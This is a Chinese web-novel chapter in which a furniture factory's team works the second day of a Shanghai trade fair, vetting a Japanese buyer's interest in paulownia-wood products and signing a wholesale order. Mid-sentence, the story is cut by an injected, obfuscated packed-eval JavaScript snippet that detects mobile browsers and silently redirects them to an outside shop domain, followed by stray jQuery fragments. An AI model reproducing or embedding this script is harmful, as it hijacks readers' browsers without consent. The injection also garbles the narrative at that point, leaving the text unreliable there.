华交会第二天。清晨的风比昨天更冷，把希望吹散了大半，又把等待吹回原位。
天刚擦亮，上海街头的晨雾还没散尽，凉意裹着潮气贴在皮肤上，比昨日更湿更沉。叶舟三人提前半小时抵达世贸商城展馆，昨天首日遇冷的沉闷，还隐隐压在人心头。
早进场的参展商不多，展厅空旷安静，灯光亮得发白，通道地面反光干净，能清晰照出人影。商陆一进展位就闲不住，手脚麻利地收拾物料。他先把一沓宣传册一遍遍码得边角齐整，又伸手微调餐桌摆放角度，往右挪了两三公分，退后两步眯眼打量，觉得还差一点，又上前轻轻转动餐椅对位。嘴里还不停碎碎念叨：“今天天光跟昨天完全不一样，太阳角度偏了，不调一下，远路人看不到木纹质感。咱们样品好看，得让人第一眼就看见。”
他蹲下身，顺着灯光盯着桌面漆面反光，确认平整透亮，才拍了拍手上的灰，稍稍松了口气：“昨天磨出水泡，今天贴了创可贴，希望今天能派上用场。”
叶舟立在展位后方，安静看着他忙活，一言不发。心里不是不盼着来人、盼着开单，只是经历过昨天一整天的冷清，早就收起了浮躁的侥幸。期待没用，展会生意，从来都是靠熬、靠等、靠实打实的样品留人。他压下心底零碎的念头，目光平静扫过空旷通道，静静等候客流进场。
九点半过后，展馆人流慢慢涌了进来，比昨天更密集热闹。商陆看见远处通道拐角有人影晃动，下意识挺了挺腰，把宣传册往桌角又挪近了一寸。往来客商步履匆匆，偶尔需要侧身避让，满场都是脚步声、交谈声、翻阅画册的轻响。
商陆立刻站到展位外侧，身姿端正，眼神活络，看见有人放缓脚步，就及时递出宣传册，语气客气又熟练：“老板您好，源头工厂实木家具，全榫卯工艺，工厂直供，可以看看款式和报价。”
没过多久，一个戴黑框眼镜的采购商驻足翻看画册，目光落在榉木餐桌上，开口直截了当：“你们工厂能不能做贴牌？我们拿货，贴我们自己品牌。”
商陆愣了下：“我们主要做自有品牌出货——”
话没说完，对方打断：“不用你们品牌，只代工贴牌，能不能做？”
商陆下意识转头看向叶舟，拿不准尺度。叶舟缓步走出：“可以做。你们起订量多少？”
“先试单三百件，品质达标，后续长期批量续单。”
“三百件没问题，贴牌费、包装费单独核算。”
对方快速记下报价：“我回去跟公司领导汇报商量，有消息再联系。”说完拿着册子便汇入人流，没再多停留。
人走远后，商陆凑过来小声嘀咕：“叶主任，这种回去商量的，十有八九都悬吧？我都习惯了，展会太多场面话了。”
“有一半概率。”叶舟淡淡说道，“他肯主动问贴牌模式、问起订量，就是有真实需求，只是还没认准我们。不急，慢慢养意向。”
商陆点点头，默默把这话记在心里，继续守在外侧迎客。他在展位前站了没多久，通道里来了第二波人，他余光扫到，立刻把宣传册拿在手里备好。
半个多小时后，一个穿着普通夹克、没挂任何参展证件的年轻男人在展位前停下。他不看精致的桌椅家具，目光径直落在最前排的泡桐木样品上，顺势蹲下身子，指尖轻轻抚过表面漆面，顺着木纹细细摩挲，看得格外认真。
“这是泡桐木？”他抬头问道。
周浩上前应声：“没错，专用出口泡桐工艺木件。”
“专门做棺木出口的？”
“主打外贸定制。”
男人站起身，随手拍掉指尖浮灰，语气笃定：“一看纹路就分得出来，泡桐木质疏松、分量轻，做这个确实最合适。”他没询价、没要资料，看完起身就走，步履从容。
周浩低声复盘：“应该是懂木料的同行，过来摸底看工艺的，不是采购客户。”
商陆无所谓地笑笑：“懂行的看看也好，不怕人看，咱们工艺摆在这里，谁看都挑不出大毛病。”
临近十点，又一位拎着公文包的女采购驻足，快速扫过桌椅书柜，开口问道：“你们产品主要外销哪些国家？”
叶舟如实应答：“目前以国内渠道为主，这次参会，就是正式开拓海外外贸市场。”
女人点点头，随手将宣传册塞进包里：“我回去整理看看，有合适项目再对接。”依旧是展会最常见的客套收尾。
人流来来往往，热度渐起，就在这时，一个熟悉的身影缓缓出现在通道尽头——浅灰色薄外套，身姿挺拔，步履沉稳，正是昨天闭馆前专程驻足细看的日商柳下一郎。
他今天没有四处观望闲逛，走近展位，先快速扫过整体布局，视线精准锁定泡桐木样品。叶舟适时上前一步，周浩立刻侧身站在两人中间，腰背挺直，做好同步翻译准备。
柳下一郎微微欠身颔首，脸上带着日式商务场合标准的浅淡神情，语速平稳开口：「失礼いたします。この桐木製サンプルについて、使用木材の選定理由を教えていただけますか。」
话音落下，周浩眼神专注，等对方一句话完整说完，才不急不缓开口转述：“他问，想了解这款产品为什么选用泡桐木作为原料，核心优势分别是什么。”
叶舟目光落回样品上，条理清晰，字字务实：“三点核心优势。第一，质轻，同尺寸规格，泡桐木比常规松木轻三分之一。第二，燃性均匀，燃烧彻底、几乎无残渣，契合当地民俗需求。第三，木质疏松吸湿，可自主调节内部湿度，不易受潮变形。”
周浩一边听，一边微微点头确认要点，等叶舟说完一段，就对着柳下一郎翻译成日语：「三つのメリットがあります。一つ目は重量が軽く、同サイズでマツ材より三分の一軽いため輸送コストを抑えられます。二つ目は燃焼が均一で残渣が少なく、現地の習慣に合致しています。三つ目は湿度調整能力に優れ、変形やカビを抑えられます。」
柳下一郎听完，眉头微不可察地动了一下，脸上依旧看不出明确态度。他俯身抬手轻轻掂了掂样品分量，又弯腰凑近，一寸寸细看拼接缝隙、内部结构、漆面均匀度。他看得极细，比昨日认真数倍。边角、接口、工艺细节，逐一核验，前后足足停留了近二十分钟。周浩压低声音轻道：“今天是实打实在验工艺，看样子对品质要求很高。”
叶舟没有应声，目光始终落在柳下一郎的动作上，耐心等候对方看完。
半晌，柳下一郎站直身子，拍去掌心微尘，脸上神色稍稍严肃几分，再次开口说出一长串日语：「昨日帰社後、桐材の物性データを確認いたしました。ご説明の通り、軽量?燃焼性?調湿性の特徴が一致しております。現在、貴社工場の主な輸出先、対日取引実績の有無を教えてください。」
周浩认真听完，复述中文意思：“他说，昨天回去之后已经核对过泡桐木材质资料，我方介绍的几项特性都属实。现在想确认，工厂目前主要出口哪些地区，有没有对日合作的贸易经验。”
“我厂深耕实木家具生产多年，国内渠道稳定，对日外贸属于初次开拓。本次参会，就是为了搭建长期合作链路。”叶舟如实作答，不夸大、不虚报。
周浩同步翻译成日语：「国内の販売ルートは安定しておりますが、日本向け輸出は今回が初めてとなります。今回の見本市で長期的な取引関係を築きたいと考えております。」
柳下一郎闻言嘴角线条略微放松，神色终于有了一丝松动，语气审慎客观，继续说道：「サンプルの加工レベルは基準を満たしており、価格帯も市場で競争力があります。本部の審査が必要なため、正式な見積書をご提出ください。三営業日以内に審査結果を返答いたします。」
周浩盯着对方神态，完整转述内容：“他表示样品工艺达到合作标准，价格区间在市场上具备竞争力。正式签约需要向总部提交立项审批，希望我们出具详细报价单，三个工作日之内给出审批答复。”
叶舟顺手递上打印好的明细报价单：“常规榉木餐桌出厂价六百元。泡桐木制品按尺寸规格分级定价，批量采购可另行议价。”
周浩把价格信息准确翻译成日语。柳下一郎目光短暂落在叶舟脸上，微微
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17670503|206572||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
点头示意，语速依旧沉稳克制：「承知いたしました。では三営業日以内に正式回答を出します。」
“他已经记下报价，会在三个工作日内给出正式回复。”周浩补充一句。
双方礼貌互换名片、留存联系方式。柳下一郎最后深深看了一眼泡桐木样品，转身离去，步履干脆利落，不拖泥带水。
人走远后，商陆忍不住凑过来，压着声音小声念叨：“叶主任，三日答复，这算是准意向了吧？昨天还只是随便看看，今天直接验工艺、要报价、走流程了。”
“算有效推进。”叶舟把名片妥善收好，“不说空话、只给时限，比漫天客套靠谱得多。继续守岗接待。”
柳下一郎离开二十分钟左右，展位前又迎来一位新客户。中年男人身材壮实，语速偏快，一口浓重的广东口音，手里拎着简易手袋，看着就是常年跑批发市场的老生意人。他不急着问话，先静静扫完餐桌、书柜、床头柜全套样品，打量完工艺质感，才开口问询。
“你们厂专做榉木实木家具？”
“榉木、榆木、水曲柳全系实木均可生产。”叶舟起身应答。
“广州白云家居批发市场，姓赵。”男人递出名片，爽朗直白，“我长期做华南终端零售，一直想找源头工厂稳定供货。你们这批样品做工扎实，我看得上。把你们主力出货品类、规格、产能都说一下。”
叶舟取出产品总目录，条理清晰介绍：“餐桌、配套餐椅、书柜、床头柜、茶几、鞋柜、衣架，全系自产自销。榉木餐桌单日产能三十件以上，大批量订单可优先排产、提前备料。”
赵老板快速翻完目录，干脆利落：“主力品类全部报出厂单价。”
商陆立刻递上规整价目表，顺带把厂里阶梯返点、首次合作政策一一讲清，语速顺畅、专业熟练：“餐桌六百，餐椅一百二，书柜九百，床头柜三百五，茶几五百，鞋柜二百，衣架二百。厂里阶梯返点：月销一万返两个点，两万返三，三万返四，五万返五，十万以上六个点。年底年销破百万，额外一点五奖励。首次签约，直接赠送两套餐桌椅。”
赵老板心里快速盘算几秒，眼神笃定：“不用试探小样，我直接批量铺货。”他逐项报出采购数量：“餐桌六十张、餐椅一百二十把、书柜二十五个、床头柜五十个、茶几十五张、鞋柜三十个、衣架二十个。”
叶舟快速逐项核算，落笔清晰，很快算出总额：“合计十二万八千四百元，首批大单，零头抹掉，实收十二万八千元。”
“可以。”赵老板十分爽快，“十万以上六个点返点正常结算，月底统一兑付，赠品照常安排。直接出合同。”
商陆迅速拿出制式合同，逐项填清品类、数量、单价、总额、返点福利、赠品细则，条理清晰，无一错漏。赵老板反复核对两遍返点条款和总价，确认无误，落笔签字盖章。他收好合同，又回头看了一眼展位上的实木餐桌：“包装规格我回广州发传真确认，首批货交付周期多久？”
“签约后四十五天内准时发货。”商陆应答。
“没问题。”赵老板拎起文件袋，转身大步走了。
一整天下来，冷清彻底打破。
傍晚闭馆收摊，展厅灯光次第亮起，人流缓缓散去。商陆一边规整物料，一边碎碎复盘全天战况：“今天总算没白熬！发了四十多本画册，意向客户好几个。最关键是实打实开单了，广州十二万八的现货单稳稳落地。还有那个懂木料的同行、贴牌意向客户、普通采购咨询，比昨天强太多了。”他说到这儿，低头看了一眼自己的脚后跟，创可贴还在，但没有昨天那么疼了，“今天这鞋，磨得值。”
叶舟把合同底单收进文件袋：“明天最后一天展会，稳住节奏、不松劲。内销打底稳住厂子现金流，外贸破冰打开未来路子。两条路，只要通一条，就是我们今年最大的底气。”
周浩收好笔记本，指尖在页面上轻轻点了点刚才记录的关键词：“对方表情一直很克制，全程没有明显流露倾向，但问话层层递进，合作意愿是真实存在的。”
叶舟抬眼望向窗外沉沉夜色，没有再说话。